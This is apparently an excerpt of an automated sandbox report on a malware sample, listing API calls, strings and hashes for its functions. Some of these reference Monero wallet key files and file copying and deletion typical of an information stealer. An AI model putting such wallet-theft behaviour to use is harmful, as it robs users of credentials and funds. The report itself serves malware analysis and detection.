Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 005FC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 005FC8EC
___crtLCMapStringA.LIBCMT ref: 005FC90C
___crtLCMapStringA.LIBCMT ref: 005FC931

Strings

, xrefs: 005FC896

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: ed52b2e7f77f971c15492286f11a082eb67f8040d562732ea77971fb91a63235
Instruction ID: 57dcee351f6087c8d9dd9bcc7e403d9b8cdb858b8e4fdff2bd717fd914924992
Opcode Fuzzy Hash: ed52b2e7f77f971c15492286f11a082eb67f8040d562732ea77971fb91a63235
Instruction Fuzzy Hash: BC41E5B150075C5EDB218B248E84BFB7FE9AF45704F1448F8EACA86182D279AA448F60

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 005F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 005F6663

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

ShellExecuteEx.SHELL32(0000003C), ref: 005F6726
ExitProcess.KERNEL32 ref: 005F6755

Strings

<, xrefs: 005F66D9

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 77a22c13279cbb0276d34141260c625b9917b3f5d88f26580be5c86f7cefd090
Instruction ID: 2d69bd651249e11c727632216a2239230e5a868a773ce98175b236a664421969
Opcode Fuzzy Hash: 77a22c13279cbb0276d34141260c625b9917b3f5d88f26580be5c86f7cefd090
Instruction Fuzzy Hash: F3313CF1801209ABDB18EB90DD86BEE7B78BF44300F404198F31966191DFB86B49CF5A

Function 005F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E28,00000000,?), ref: 005F882F
RtlAllocateHeap.NTDLL(00000000), ref: 005F8836
wsprintfA.USER32 ref: 005F8850

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

%dx%d, xrefs: 005F8847

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 0478ad304783ccb518ee591c8bb207983d815358d321d06de766f6549e462e86
Instruction ID: 9eeb180e55170229ec1d3c30b06129605db47d7a698d69b5fa863dea3a616fc7
Opcode Fuzzy Hash: 0478ad304783ccb518ee591c8bb207983d815358d321d06de766f6549e462e86
Instruction Fuzzy Hash: 6E2100B1A40208AFDB18DF94DD49FAEBBB8FF48711F108519F605A7280C779A9018BA5

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 005F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,005F951E,00000000), ref: 005F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 005F8D62
wsprintfW.USER32 ref: 005F8D78

Strings

%hs, xrefs: 005F8D6F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 9aaefffa4c544db56080b4b91611861dd58c96c7c5ab1c2f33eab5010ed488e1
Instruction ID: 3ffc80bc8c9082b5c7db2deb116af7c97f26eed9ac5abb4e60289f7492b0a417
Opcode Fuzzy Hash: 9aaefffa4c544db56080b4b91611861dd58c96c7c5ab1c2f33eab5010ed488e1
Instruction Fuzzy Hash: 7DE08CB0A40208BFDB28DB94DC0AE6977B8FF04702F0080A4FE0987280DA719E018B96

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 005ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,01649AF8,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ED481
lstrlen.KERNEL32(00000000), ref: 005ED698
lstrlen.KERNEL32(00000000), ref: 005ED6AC
DeleteFileA.KERNEL32(00000000), ref: 005ED72B

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
